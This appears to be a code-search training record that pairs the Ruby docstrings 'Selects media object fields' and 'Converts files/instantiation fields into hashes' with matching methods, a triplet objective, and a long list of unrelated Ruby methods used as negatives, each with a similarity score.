Selects media object fields.
|
def media_object_fields
fields.select { |field| media_object_header?(field.header) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_mediaitem_fields()\n @restv9.get_mediaItems_fields()\n end",
"def selected_fields\n return @selected_fields unless @selected_fields.nil?\n\n fields = [*options[:select]].map { |f| f.split(',') }.flatten\n fields.concat(required_fields) if @fasta && !fields.empty?\n @selected_fields = fields.map { |f| glob_to_regex(f) }\n end",
"def field_for_select\n candidate_fields = [primary_field, list_view_fields, fields].flatten.compact\n candidate_fields.reject(&:restricted?).find(&:human_readable?)\n end",
"def fetch_fields\n @fields\n end",
"def parse_fields(opts, name, page, *fields)\n fields.each do |field|\n lmnt = page.send(*[field, name].compact)\n var = opts.nil? ? instance_variable_get(\"@#{field}\") : opts[field]\n lmnt.class.to_s == 'Watir::Select' ? lmnt.pick!(var) : lmnt.fit(var)\n end\n end",
"def select(field_or_fields)\n scoped :select => field_or_fields\n end",
"def select_custom_fields\n group_custom_fields 'select'\n end",
"def parse_options_and_selects!\n\n #field :field_value, :type => Object, :default => nil\n #field :select_options, :type => Array, :default => nil\n\n if params[:option].present?\n params[:file_metadata_schema][:field_value] = params[:option]\n end\n\n if params[:value].present?\n values = Array.new\n params[:value].each_with_index do |v,i|\n values << Hash[:value => v[1], :selected => is_selected?(i)]\n end\n params[:file_metadata_schema][:select_options] = values\n end\n \n end",
"def fat_record_select\n select = 'semantic_relations.id AS id, semantic_relations.created_at AS created_at, '\n select << 'semantic_relations.updated_at AS updated_at, '\n select << 'object_id, object_type, subject_id, predicate_uri, '\n select << 'obj_props.created_at AS property_created_at, '\n select << 'obj_props.updated_at AS property_updated_at, '\n select << 'obj_props.value AS property_value, '\n select << 'obj_sources.created_at AS object_created_at, '\n select << 'obj_sources.updated_at AS object_updated_at, obj_sources.type AS object_realtype, '\n select << 'obj_sources.uri AS object_uri, '\n select << 'subject_sources.uri AS subject_uri'\n select\n end",
"def fields_for(record_name, record_object = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"def select(*columns)\n @options[:select] = \"SPECIFIC_ATTRIBUTES\"\n @options[:attributes_to_get] = columns.map(&:to_s)\n self\n end",
"def fields_for(record_name, record_object = T.unsafe(nil), fields_options = T.unsafe(nil), &block); end",
"def fields_by_name(name)\n @fields.select{|f|f.name==name}\n end",
"def fields; end",
"def fields; end",
"def fields; end",
"def fields_by_name(name)\n @fields.select{|f|f.name==name}\n end",
"def fields(fields = nil)\n set_option(:fields, fields)\n end",
"def fields\n preview_json['fields']\n end",
"def all_fields\n found_fields = Array.new\n self.fields.each do |field|\n found_fields << field\n found_fields = found_fields + field.all_fields if field.type == 'ObjectField'\n end\n found_fields\n end",
"def select!(*fields)\n @options[:select] ||= fields.join ','\n self\n end",
"def select(fields)\n return SkyDB::Query.new(:client => self).select(fields)\n end",
"def show_fields(**params)\n get('fields', params)\n end",
"def file_fields\n self.fields.select { |field| field.type == :file }\n end",
"def method_missing name, *args, &block\n if name.to_s =~ /^(.+)_fields$/\n self.fields.select {|f| f.data_type.to_s.parameterize.underscore == $1 } || super\n else \n super\n end\n end",
"def fields\n self.class.fields(true)\n end",
"def show_fields\n self.class.fields.values.select { |field| field.show }\n end",
"def get_fields()\n return @api.do_request(\"GET\", get_base_api_path() + \"/fields\")\n end",
"def fetch_fields\n @result.fetch_fields\n end",
"def select(*fields)\n raise OData::NotSupportedError.new(\"You cannot call both the `links` method and the `select` method in the same query.\") if @links_navigation_property\n raise OData::NotSupportedError.new(\"You cannot call both the `count` method and the `select` method in the same query.\") if @count\n\n @select |= fields\n\n expands = fields.find_all { |f| /\\// =~ f }\n expands.each do |e|\n parts = e.split '/'\n @expands |= [parts[0...-1].join('/')]\n end\n\n self\n end",
"def field(*fields)\n options = fields.extract_options!\n\n fields.each do |f|\n _field(f, options)\n end\n end",
"def fields\n @fields\n end",
"def fields\n @fields\n end",
"def fields=(value)\n @fields = value\n end",
"def fields(klass, show_all = false)\n fields = send(:\"#{klass.to_s.underscore}_fields\") unless show_all\n fields = send(:\"#{klass.to_s.underscore}_all_fields\") if show_all\n fields\n end",
"def fields\n raw['fields']\n end",
"def select(&block)\n ary = []\n self.class.members.each{|field|\n val = self[field]\n ary.push(val) if block.call(val)\n }\n ary\n end",
"def fields\n @fields\n end",
"def fields\n self.find('ns:field', :ns => self.class.registered_ns).map do |field|\n Field.new(field)\n end\n end",
"def method_missing(meth, *args, &blk)\n super unless Fields.all.include?(meth)\n field meth, *args\n end",
"def fields\n return @fields if defined?(@fields)\n\n @fields = array_of_items_for(Fields, :fields)\n end",
"def select(entity_set, id, fields)\n query = service[entity_set].query\n\n fields.each{|field| query.select(field)}\n url_chunk = query.find(id)\n\n body = api_get(url_chunk).body\n build_entity(entity_set, body)\n end",
"def fields\n FIELDS\n end",
"def has_media_field(model, context)\n render :partial => \"has_media/media_fields\", :locals => {\n :object => model,\n :context => context\n }\n end",
"def select(*args)\n args.each do |arg|\n if arg.is_a?(String)\n self.fields = self.fields.concat(SkyDB::Query::Selection.parse_fields(arg))\n elsif arg.is_a?(Symbol)\n self.fields << SelectionField.new(:expression => arg.to_s)\n else\n raise \"Invalid selection argument: #{arg} (#{arg.class})\"\n end\n end\n \n return self\n end",
"def set_media_object\n @media_object = MediaObject.find(params[:id])\n end",
"def fields(sample_pid)\n remove = [\"http://www.iana.org/assignments/relation/next\",\n \"http://www.openarchives.org/ore/1.0/datamodel#proxyFor\",\n \"http://www.iana.org/assignments/relation/last\",\n \"http://www.iana.org/assignments/relation/first\",\n \"http://opaquenamespace.org/ns/set\",\n \"http://opaquenamespace.org/ns/primarySet\",\n \"http://opaquenamespace.org/ns/contents\"]\n fields = []\n item = GenericAsset.find(sample_pid)\n item.descMetadata.graph.statements.each do |s|\n next if remove.include? s.predicate.to_s\n field = @properties[s.predicate.to_s]\n if field.nil? \n @f.puts \"warning: could not identify #{s.predicate.to_s} in #{item.pid}\"\n else\n fields << field\n end\n end\n fields\n end",
"def get_album_fields()\n @restv9.get_album_field()\n end",
"def index\n @api_v1_select_fields = Api::V1::SelectField.all\n end",
"def reflect_fields\n send_and_receive('admin/luke', params: { fl: '*', 'json.nl' => 'map' })['fields']\n end",
"def media_object_hash\n fields_to_hash media_object_fields\n end",
"def reform_select_from_fields(table_fields)\n # if we're asking for * then ignore all other individual fields\n table_fields.each do |tf|\n if tf[1] == '*'\n table_fields.delete_if {|k| k[0] == tf[0] && k[1] != '*'}\n end\n end\n \n # re-form the select with the remainder\n new_select_fields = []\n table_fields.each do |tf|\n new_tf = \"`#{tf[0]}`.\"\n new_tf += (tf[1] == '*') ? \"*\" : \"`#{tf[1]}`\"\n \n # tf[2] is the fourth option, aggregate functions\n # eg: ['users', 'username', ' as login_name', 'count'] => count(`users`.`username`) as login_name\n new_tf = tf[3] + \"(#{new_tf})\" unless tf[3].blank?\n \n # tf[2] is the third option, as\n # eg: ['users', 'username', ' as login_name'] => `users`.`username` as login_name\n new_tf += tf[2] unless tf[2].blank?\n new_select_fields << new_tf\n end\n \n # return nil instead of empty array\n return nil if new_select_fields.blank?\n new_select_fields.join(\",\")\n end",
"def set_field_names\n @field_names = nil\n @field_names = @upload.get_field_names if @upload\n end",
"def fields\n search_params.return_fields +\n %w[document_type\n title\n description\n organisation_content_ids\n topic_content_ids\n mainstream_browse_page_content_ids\n popularity\n format\n link\n public_timestamp\n updated_at\n indexable_content]\n end",
"def select\r\n assert_exists\r\n if(@how == :text)\r\n @select_list.select(@what)\r\n elsif(@how == :value)\r\n @select_list.select_value(@what)\r\n end \r\n end",
"def fields\n @fields ||= begin\n default_fields\n end\n end",
"def select\n self[:select] ||= associated_class.table_name.*\n end",
"def fields\n @fields ||= form.fields\n end",
"def get_field_iterator(selector = MessageFieldIterator.Selector_ALL_FIELDS)\n\t\tend",
"def select_all_by_material\n model = Sketchup.active_model\n material = model.materials.current\n selector = MaterialSelector.new\n selector.select model, material\nend",
"def get_field_list\n return make_request(\"#{self.endpoint}/list/fields\")\n end",
"def field_options\n self.class.fields.values\n end",
"def default_file_field_options(method)\n {\n multiple: @object.send(method).is_a?(ActiveStorage::Attached::Many),\n direct_upload: true,\n style: 'opacity: 0;',\n data: {\n dnd: true,\n dnd_zone_id: \"asdndz-#{object_name}_#{method}\",\n icon_container_id: \"asdndz-#{object_name}_#{method}__icon-container\"\n }\n }\n end",
"def select_fields_collection(bot)\n fields = [\n [\"\", self.class::FIELDS.map {|k,v| Queries::Field.new(id: k, to_label: v)}]\n ]\n\n if (rich_metrics = bot.dashboards.where(dashboard_type: DASHBOARDS, enabled: true).order(\"dashboard_type ASC\")).count > 0\n fields << [\"User Actions\", to_fields(rich_metrics)]\n end\n\n if (custom_metrics = bot.dashboards.where(dashboard_type: 'custom', enabled: true).order(\"dashboard_type ASC\")).count > 0\n fields << [\"Custom Metrics\", to_fields(custom_metrics)]\n end\n\n fields\n end",
"def pick_fields(*fields)\n self.values.inject({}) do |hsh, node|\n value = self[node.name].pick(*fields)\n if fields.size == 1\n value = value.values.first\n end\n hsh[node.name] = value\n hsh\n end\n end",
"def fields\n FIELDS\n end",
"def get_fields(template); end",
"def set_field\n @field = @group.fields.find(params[:id])\n end",
"def simple_fields\n fields.select(&:filterable?)\n end",
"def fields\n all_fields\n end",
"def extra_field_options(index)\r\n if extra_field_type(index) == 'select'\r\n eval extra_type(index).partition(':')[2]\r\n else\r\n nil\r\n end\r\n end",
"def fields\n @fields ||= FieldList.new\n end",
"def load_fields(mid)\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_fields\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n url_get_records = url_get_records.gsub '{mid}', mid.to_s\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n fields = []\n fs = json['fields']\n fs.each do |key, jf|\n field = Dynamicloud::API::Model::RecordField.new\n field.id = jf['id'].to_i\n field.identifier = jf['identifier']\n field.label = jf['label']\n field.comment = jf['comment']\n field.uniqueness = jf['uniqueness']\n field.required = jf['required']\n field.type = Dynamicloud::API::Model::RecordFieldType.get_field_type jf['field_type'].to_i\n field.items = Dynamicloud::API::DynamicloudHelper.build_items jf['items']\n field.mid = mid.to_i\n\n fields.push field\n end\n\n fields\n end",
"def fields\n search.class.fields\n end",
"def fields\n FIELDS\n end",
"def initialize(media_options={})\n @id = media_options[\"id\"]\n @format_type_id= media_options[\"format_type_id\"]\n @anime_series_id= media_options[\"anime_series_id\"]\n @cover_name= media_options[\"cover_name\"]\n end",
"def field(name); end",
"def fields\n collection(\"profiles/fields\")\n end",
"def fields\n @fields ||= []\n end",
"def fields\n java_import org.dspace.content.MetadataField\n MetadataField.findAllInSchema(DSpace.context, @obj.getSchemaID)\n end",
"def result_fields\n @fields ||= result_meta.collect { |m| m.name }\n end",
"def select(*props)\n @query[:select] = props.join(',')\n self\n end",
"def fields(*args)\n hash_fields = args.last.is_a?(Hash) ? args.pop : {}\n hash_fields[type] = args if args.any?\n munson.fields(hash_fields)\n end",
"def given_model_fields(model_name)\n model_fields(model_name).select do |field, _value|\n given?(field)\n end\n end",
"def subset_fields\n self.class.subset_fields(subset.to_sym) if valid_subset?\n end",
"def document_show_fields\n Blacklight.config[:show_fields][:field_names]\n end",
"def show_field(id)\n get(\"fields/#{id}\")\n end",
"def fields(*fields)\n result = []\n keys.sort.each do |name|\n result << self[name].pick(*fields)\n end\n result\n end",
"def fields; h.fields; end",
"def media_object_params\n #params.require(:media_object).permit(:name, :url, :image, :image_url, :snippet, :step_id)\n params.require(:media_object).permit(:name, :image, :step_id)\n end",
"def fields\n @node.css('controlfield, datafield').map{|f| objectify f}\n end",
"def fields\n []\n end",
"def fields\n class_name.constantize.fields\n end",
"def fields\n @fields ||= []\n end",
"def fields\n nil\n end",
"def select\n self[:select]\n end",
"def readable(*fields)\n added_fields = add_fields(@read_mask,\"readable\",fields)\n allow(*fields)\n @read_mask = added_fields if(@read_mask.eql?(WILDCARD))\n added_fields\n end",
"def fields\n raise NoMethodError, \"Descendants of MSFL::Datasets::Base are required to implement the #fields method\"\n end",
"def fields\n missing_method :fields\n end",
"def display_fields\n @form.fields.each {|f| puts f.name}\n end"
] |
[
"0.61091495",
"0.57129896",
"0.56841606",
"0.561558",
"0.55738354",
"0.5540678",
"0.55393416",
"0.55228186",
"0.5502072",
"0.54613996",
"0.5449359",
"0.54477906",
"0.54424",
"0.5436861",
"0.5436861",
"0.5436861",
"0.54325134",
"0.5378631",
"0.5345942",
"0.532367",
"0.53160053",
"0.5248673",
"0.5246375",
"0.5242743",
"0.5231254",
"0.5198226",
"0.5195081",
"0.5184936",
"0.5165183",
"0.51637375",
"0.5154951",
"0.51495045",
"0.51495045",
"0.5135333",
"0.511544",
"0.5105735",
"0.5099204",
"0.50976485",
"0.5093574",
"0.5083071",
"0.50815743",
"0.50647753",
"0.5053218",
"0.504911",
"0.50467086",
"0.5045668",
"0.5043322",
"0.50400347",
"0.50367033",
"0.5033699",
"0.50181234",
"0.5016309",
"0.5012399",
"0.49956036",
"0.49954805",
"0.49898246",
"0.49869332",
"0.49867705",
"0.49849024",
"0.49770626",
"0.4972022",
"0.4965722",
"0.49591863",
"0.4958179",
"0.4955893",
"0.49509066",
"0.49414676",
"0.49272445",
"0.49264836",
"0.49216297",
"0.49164677",
"0.49144486",
"0.49127683",
"0.4907594",
"0.49022454",
"0.48953417",
"0.48881537",
"0.48833403",
"0.4882441",
"0.48783612",
"0.48773837",
"0.4866746",
"0.48656452",
"0.4860548",
"0.48530358",
"0.4847572",
"0.48440227",
"0.48403916",
"0.48355985",
"0.4833642",
"0.48332202",
"0.48285878",
"0.48284942",
"0.48174602",
"0.48161212",
"0.4815357",
"0.48099867",
"0.48056492",
"0.4803967",
"0.479849"
] |
0.73547685
|
0
|
Converts files/instantiation fields into hashes.
|
def file_hashes
@file_hashes ||= file_field_sets.map do |file_field_set|
instantiation_fields, file_fields = file_field_set.partition do |field|
instantiation_header?(field.header)
end
file_hash = fields_to_hash(file_fields)
file_hash['files'] = [fields_to_hash(instantiation_fields)]
file_hash
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def fields_hash\n each_pair.to_h\n end",
"def hash\n fields.map { |field| instance_variable_get(field[:name]) }.hash\n end",
"def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end",
"def to_hash\n @fields\n end",
"def to_hash\n fattrs.inject({}){|h,a| h.update a => send(a)}\n end",
"def file_attributes\n {}\n end",
"def file_attributes\n {}\n end",
"def to_hash\n self.class.fields.each_with_object({}) do |key, hash|\n val = send(key)\n hash[key] = val if !val.nil?\n end\n end",
"def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end",
"def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def load_fields!\n attributes = {}\n data_hash.each do |entry|\n next unless entry.is_a? Hash\n entry.keys.each { |key| attributes[key] ||= nil }\n end\n @fields = attributes.keys\n end",
"def to_hash\n {\n :id => id.to_s,\n :name => file.original_filename,\n :mime => file.content_type,\n :size => file.size,\n :versions => {\n :original => file.url,\n :icon => file.url(:icon),\n :thumb => file.url(:thumb)\n }\n }\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def initialize_fields(attributes, file)\n terms.each do |key|\n file[key] = attributes[key]\n end\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def fields_to_hash(these_fields)\n combined_fields = combine_multivalued_fields(these_fields)\n combined_pairs = combined_fields.map do |field|\n\n # does the normalize_ case ever happen?\n key = api_field_name_for(field.header) || normalize_header(field.header)\n [ key, encode_values(field.value) ]\n end\n Hash[ combined_pairs ]\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def fields_hash\n @fields_hash ||=\n begin\n field_sets_hash = Hash.new { |h, k| h[k] = Set.new }\n @types.each do |type|\n Setup.for(type).fields.each do |field|\n field_sets_hash[field.name.to_sym] << field\n end\n end\n fields_hash = {}\n field_sets_hash.each_pair do |field_name, set|\n if set.length == 1\n fields_hash[field_name] = set.to_a.first\n end\n end\n fields_hash\n end\n end",
"def initialize_fields(file)\n file.initialize_fields\n end",
"def initialize_fields(file)\n file.initialize_fields\n end",
"def to_hash\n r = ATTR_NAMES.inject({}) { |m,e|\n m[e] = self.send(e)\n m\n }\n r[:files] = mappings_for_files.map { |e| e.to_hash }\n r\n end",
"def diphot_metadata_to_h\n File.open(@qualified_filename, 'r') do |fd|\n diff = fd.readline.chomp\n reference = fd.readline.chomp\n @obj_metadata = { 'diff' => diff, 'reference' => reference }\n end\n end",
"def to_hash\n fields.inject({type: type}) do |table, name|\n table.tap do\n if val = send(name)\n val = val.iso8601(3) if name == :timestamp\n table[name] = val\n end\n end\n end\n end",
"def info_hash\n @fields\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def hash\n [save_format, lookup_paths, file_name, file_format, show_grid, show_rulers, show_ui, orientation_box, up_vector, far_plane, near_plane, look_at, camera_position, field_of_view].hash\n end",
"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"file\" => lambda {|n| @file = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"fileHash\" => lambda {|n| @file_hash = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def to_h\n hash = {}\n self.class.field_definitions.each do |k, v|\n hash[k] = field_value k\n end\n hash\n end",
"def to_hash\n hash = {}\n\n hash[:name] = name\n hash[:file] = file\n hash[:line] = line\n\n hash[:docstring] = PuppetStrings::Yard::Util.docstring_to_hash(docstring)\n hash[:properties] = properties.sort_by(&:name).map(&:to_hash) if properties && !properties.empty?\n hash[:parameters] = parameters.sort_by(&:name).map(&:to_hash) if parameters && !parameters.empty?\n hash[:checks] = checks.sort_by(&:name).map(&:to_hash) if checks && !checks.empty?\n hash[:features] = features.sort_by(&:name).map(&:to_hash) if features && !features.empty?\n hash[:providers] = providers.sort_by(&:name).map(&:to_hash) if providers && !providers.empty?\n\n hash\n end",
"def to_import_hash\n {\n :import_from_file => @import_from_file,\n :db_configuration => @db_configuration,\n :db_connection => @db_connection,\n :append_to_table => @append_to_table,\n :force_name => @force_name,\n :suggested_name => @suggested_name,\n :ext => @ext,\n :path => @path,\n :python_bin_path => @python_bin_path,\n :psql_bin_path => @psql_bin_path,\n :entries => @entries,\n :runlog => @runlog,\n :import_type => @import_type\n }\n end",
"def hash\n return (path + file_id.to_s).hash\n end",
"def files_hash\n @files_hash\n end",
"def to_hash\n return @file_table\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def hash\n [id, account_id, mode, failures_url, original_filename, state, total_mailpieces, failed_mailpieces, validated_mailpieces, bytes_processed, date_created, date_modified, required_address_column_mapping, optional_address_column_mapping, metadata, merge_variable_column_mapping].hash\n end",
"def to_hash\n {\n :name => @name,\n :file_as => @file_as,\n :role => @role\n }\n end",
"def attr_hash\n\t\t\thash = {:sourcetype => @type}\n\t\t\tcase @type\n\t\t\twhen 'random_string'\n\t\t\t\thash[:length] = @length\n\t\t\twhen 'random_number'\n\t\t\t\thash[:start] = @start\n\t\t\t\thash[:end] = @end\n\t\t\twhen 'eval'\n\t\t\t\thash[:code] = @code.chomp.to_sym\t\t\t# symbolize it in order to prevent it from being escaped\n\t\t\twhen 'file'\n\t\t\t\thash[:fileid] = @fileid\n\t\t\t\thash[:delimiter] = @delimiter\n\t\t\t\thash[:order] = @order\n\t\t\tend\n\t\t\thash\n\t\tend",
"def fields\n @_fields ||= {}\n end",
"def hashToFields(hash)\n class_for_name(@templateName).class_eval {\n hash.keys.each {|item| attr_accessor item.to_sym}\n }\n end",
"def internal_file_attributes; end",
"def model_fields\n ActiveSupport::OrderedHash.new.tap do |hash|\n properties.map do |u|\n hash[u.name] = TYPES.fetch properties.find{|property| property.name == u.name}.primitive\n end\n end\n end",
"def hash\n [contact, extensions, external_resources, info, integrations, org, schema_version, tags].hash\n end",
"def all_valuefield_hash\n hash = {}\n items = @all_valuefields\n for vf in items\n hash[vf] = {}\n end\n return hash\n end",
"def hash\n [_name, _type, _klass].hash\n end",
"def hash\n [name, type, sub_attributes, multi_valued, description, required, canonical_values, case_exact, mutability, returned, uniqueness, reference_types].hash\n end",
"def hash\n [format, display_header, display_from_email_address, display_email_address, display_to_email_address, display_cc_email_address, display_bcc_email_address, time_zone_offset, convert_attachments, field_labels, preserve_original_date].hash\n end",
"def to_save\n hash = {}\n instance_variables.each do |var|\n ignored_fields = [:'@errors', :'@id']\n next if ignored_fields.include? var\n\n field = var.to_s.delete('@')\n\n case field\n when 'genero' then\n hash[:genero_id] = @genero.id\n when 'color1' then\n hash[:color1_id] = @color1 == '' ? nil : @color1\n when 'color2' then\n hash[:color2_id] = @color2 == '' ? nil : @color2\n when 'forma_vida1' then\n hash[:forma_vida1_id] = @forma_vida1 == '' ? nil : @forma_vida1\n when 'forma_vida2' then\n hash[:forma_vida2_id] = @forma_vida2 == '' ? nil : @forma_vida2\n else\n hash[field] = instance_variable_get(var)\n end\n end\n hash[:modified_date] = Time.now\n hash\n end",
"def to_field_hash\n to_values_hash.flatten\n end",
"def attributes_hash(object); end",
"def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end",
"def ingest_file_hashes(to_save, uploader, skip_validations, obj, parent)\n \n x_file_hashes = []\n obj.hashes.each do |i|\n x2 = self.parse_sub_obj(to_save, uploader, skip_validations, i, parent)\n next if x2.blank?\n \n x_file_hashes << x2\n end\n x_file_hashes\n end",
"def format_as_yaml\n\t\tobjects = {}\n\t\tself.instance_variables.each do |k|\n\t\t\tobjects[k.to_s.gsub('@','')] = instance_eval(k.to_s)\n\t\tend\n\t\tobjects.delete(\"filename\")\n\t\tobjects.delete(\"previous_file\")\n\t\treturn objects\n\tend",
"def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n })\n end",
"def to_h\n self.class.list_of_attributes.each_with_object({}) do |key, hash|\n val = instance_variable_get :\"@#{key}\"\n hash[key] = Utils.hashify(val) unless val == Dry::Initializer::UNDEFINED\n end\n end",
"def attributes\n self.class.fields.inject({}) do |attribute_hash, field|\n attribute_hash[field] = send(field)\n attribute_hash\n end\n end",
"def to_h\n data_fields = EXTERNAL_DATA\n data_fields << :id\n data_fields << :read_count\n data = Hash.new\n data_fields.each do |field|\n if self.respond_to?(field)\n value = self.send(field)\n data[field] = value unless !value\n else\n puts \"ERROR: yaml field not present: #{field}\"\n end\n end\n # ensure these aren't editable afterwards\n cloned_data = Marshal.load(Marshal.dump(data))\n cloned_data\n end",
"def file_hash\n return @file_hash\n end",
"def to_hash\n Hash[ formats.map{ |f| [f, path(f)] } ].merge(filename: filename_without_extension)\n end",
"def dissect_to_record_hashes\n end",
"def type_to_form_ready_hash\n {\n name: resource[:name],\n physicalPath: resource[:physicalpath],\n directoryType: resource[:directorytype],\n cleanupMode: resource[:cleanupmode],\n maxFileAge: resource[:maxfileage],\n description: resource[:description],\n }\n end",
"def entry_fields(rec, user:, serialize: JSON_SERIALIZE)\n user = user_id(user) unless user.is_a?(Integer)\n ed = rec.emma_metadata(refresh: true)\n fd = rec.file_data\n mime = fd&.deep_symbolize_keys&.dig(:metadata, :mime_type)\n fmt = mime_to_fmt(mime)\n ext = fmt_to_ext(fmt)\n {\n user_id: user,\n repository: ed[:emma_repository],\n submission_id: ed[:emma_repositoryRecordId],\n fmt: ed[:dc_format] || FileFormat.metadata_fmt(fmt),\n ext: ext,\n state: 'completed',\n phase: 'create',\n file_data: (serialize ? fd.to_json : fd),\n emma_data: (serialize ? ed.to_json : ed),\n }\n end",
"def hash\n [file_id, output_version, image_quality, recompress_images, enable_color_detection, pack_document, pack_fonts, downscale_images, downscale_resolution, fast_web_view, remove_form_fields, remove_annotations, remove_bookmarks, remove_hyperlinks, remove_embedded_files, remove_blank_pages, remove_java_script, enable_jpeg2000, enable_jbig2, enable_char_repair, enable_mrc, preserve_smoothing, downscale_resolution_mrc, remove_metadata, remove_page_thumbnails, remove_page_piece_info, jbig2_pms_threshold].hash\n end",
"def to_hash\n { :file => file, :format => format, :media => media }\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash\n raise NotImplementedError.new(\"hash() must be implemented by subclasses of AbstractVersionedFile.\")\n end",
"def hash\n [id, field_type, mode, label, no_wrap, bold, required, appears_by_default, find_enabled, allow_new_choices, sort_as_given, carry_choices, foreign_key, unique, does_data_copy, field_help, audited, num_lines, max_length, append_only, allow_html, has_extension, units, decimal_places, comma_start, number_format, does_average, does_total, blank_is_zero, currency_symbol, currency_format, display_time, display_relative, display_month, default_today, display_day_of_week, display_timezone, work_week, start_field, duration_field, format, hours24, display_user, default_kind, default_value_luid, choices_luid, choices, composite_fields, target_table_id, target_field_id, source_field_id, use_new_window, link_text, exact, display_images, default_domain, display_email, appears_as, abbreviate, auto_save, target_table_name, display_as_link, sort_alpha, version_mode, max_versions, see_versions, width, xml_tag, formula, default_value, comments, master_choice_table_id, master_choice_field_id, snap_field_id, parent_field_id, lookup_target_field_id, lookup_reference_field_id, summary_reference_field_id, summary_target_field_id, summary_function, master_table_tag, permissions].hash\n end",
"def hash\n\n self.h.fei.hash\n end",
"def makehash(obj, delim, fields)\n\t\tLogUtil.debug(obj, delim, fields)\n\t\tfds = obj.to_s.strip.split(delim)\n\t\thashrec = {}\n\t\tfields.each do |field|\n\t\t\thashrec[field] = fds.shift()\n\t\tend\n\t\treturn hashrec\n\tend",
"def to_hash\n hash = {'id' => self.id.to_s}\n for name, field in self.class.fields\n if not name.end_with?(\"_id\")\n if self.has_attribute?(name)\n value = self[field.name]\n hash.store name, value if not value.nil?\n end\n end\n end\n hash.store 'total_employee', self.total_employee\n hash.store 'total_job', self.total_job\n # hash.store 'child_departments', self.child_departments\n hash\n end",
"def files2table(files)\n files.map { |f|\n f.to_hash([:name, :path, :status, :error_string, :namespace,\n :version, :docbook, :tag, :ts, :size, :checksum,\n :mime, :includes, :included_by, :references, :referenced_by])\n }\n end",
"def to_h\n extract_files\n extract_metrics\n data\n end",
"def to_hash\n hash = {}\n hash[:name] = name\n hash[:type_name] = type_name\n hash[:file] = file\n hash[:line] = line\n hash[:docstring] = PuppetStrings::Yard::Util.docstring_to_hash(docstring)\n hash[:confines] = confines if confines && !confines.empty?\n hash[:features] = features if features && !features.empty?\n hash[:defaults] = defaults if defaults && !defaults.empty?\n hash[:commands] = commands if commands && !commands.empty?\n hash\n end",
"def to_h\n h = {}\n each { |f| h.store f.name, f.value }\n h\n end",
"def to_hash\n hash = {}\n \n hash[\"name\"] = name if name && !name.empty?\n hash[\"rel\"] = rel if rel && !rel.empty?\n hash[\"uri_template\"] = uri_template if uri_template && !uri_template.empty?\n hash[\"path_template\"] = path_template if path_template && !path_template.empty?\n\n hash[\"params\"] = params if params && !params.empty?\n hash[\"optional_params\"] = optional_params if optional_params && !optional_params.empty?\n hash[\"options\"] = options if options && !options.empty?\n\n hash[\"resource_templates\"] = resource_templates.to_parsed if !resource_templates.empty?\n \n hash\n end",
"def hash\n [sub, email, error_details, accounts, name, family_name, given_name, created].hash\n end",
"def fields\n iterator = @form_fields.keySet.iterator\n map = {}\n while iterator.hasNext\n key = iterator.next.toString\n map[key.to_sym] = field(key)\n end\n map\n end",
"def convert_to_data(value)\n if value.is_a?(Hash)\n value.inject({}) do |hash, (name, uploaded_file)|\n hash.merge!(name => super(uploaded_file))\n end\n else\n super\n end\n end",
"def to_h\n hash = {\n name: name,\n contents: contents\n }\n hash[:id] = id if id\n hash[:syntax] = syntax || 'autodetect'\n hash[:size] = size if size\n\n hash\n end",
"def _cleanup_file_to_h( file, attach_h )\r\n file_name = file.xpath('file-name').text.strip\r\n file_h = {}\r\n data = file.xpath('size')\r\n file_h[:size_text] = data.attribute('format').value\r\n file_h[:size] = data.text.to_i\r\n file_h[:date] = file.xpath('date').text.strip\r\n attach_h[file_name] = file_h\r\n file_h \r\n end",
